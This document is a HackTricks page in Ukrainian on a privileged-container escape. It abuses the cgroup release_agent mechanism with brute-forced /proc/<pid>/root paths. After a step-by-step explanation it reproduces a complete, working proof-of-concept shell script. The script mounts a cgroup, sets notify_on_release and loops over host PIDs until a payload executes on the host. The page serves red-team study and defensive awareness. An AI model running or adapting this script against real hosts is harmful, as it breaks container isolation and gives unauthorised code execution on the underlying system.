release_agent exploit - Relative Paths to PIDs

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Для отримання додаткової інформації перевірте блог-порт з https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Це лише краткий опис:

Техніка описує метод виконання коду хоста зсередини контейнера, подолання викликів, які виникають внаслідок конфігурацій драйверів сховища, які приховують шлях файлової системи контейнера на хості, наприклад, Kata Containers або конкретні налаштування devicemapper.

Ключові кроки:

  1. Визначення ідентифікаторів процесів (PIDs): З використанням символічного посилання /proc/<pid>/root в псевдо-файловій системі Linux можна отримати доступ до будь-якого файлу всередині контейнера відносно файлової системи хоста. Це обходить необхідність знати шлях файлової системи контейнера на хості.

  2. PID Bashing: Використовується метод грубої сили для пошуку PIDs на хості. Це робиться шляхом послідовної перевірки наявності конкретного файлу за шляхом /proc/<pid>/root/<file>. Коли файл знайдено, це вказує на те, що відповідний PID належить процесу, який працює всередині цільового контейнера.

  3. Запуск виконання: Вгаданий шлях PID записується у файл cgroups release_agent. Ця дія запускає виконання release_agent. Успішне виконання цього кроку підтверджується перевіркою створення вихідного файлу.

Процес експлуатації

Процес експлуатації включає більш детальний набір дій, спрямованих на виконання навантаження на хості, вгадуючи правильний PID процесу, який працює всередині контейнера. Ось як це відбувається:

  1. Ініціалізація середовища: Скрипт навантаження (payload.sh) готується на хості, і створюється унікальний каталог для маніпулювання cgroup.

  2. Підготовка навантаження: Скрипт навантаження, який містить команди для виконання на хості, записується і робиться виконуваним.

  3. Налаштування Cgroup: Cgroup монтується і налаштовується. Прапор notify_on_release встановлюється для забезпечення виконання навантаження при вивільненні cgroup.

  4. Груба сила PID: Цикл проходить через потенційні PIDs, записуючи кожний вгаданий PID у файл release_agent. Це ефективно встановлює скрипт навантаження як release_agent.

  5. Запуск та перевірка виконання: Для кожного PID cgroup.procs записується, що спричиняє виконання release_agent, якщо PID правильний. Цикл продовжується, доки не буде знайдено вихідний файл скрипта навантаження, що вказує на успішне виконання.

PoC з блог-посту:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated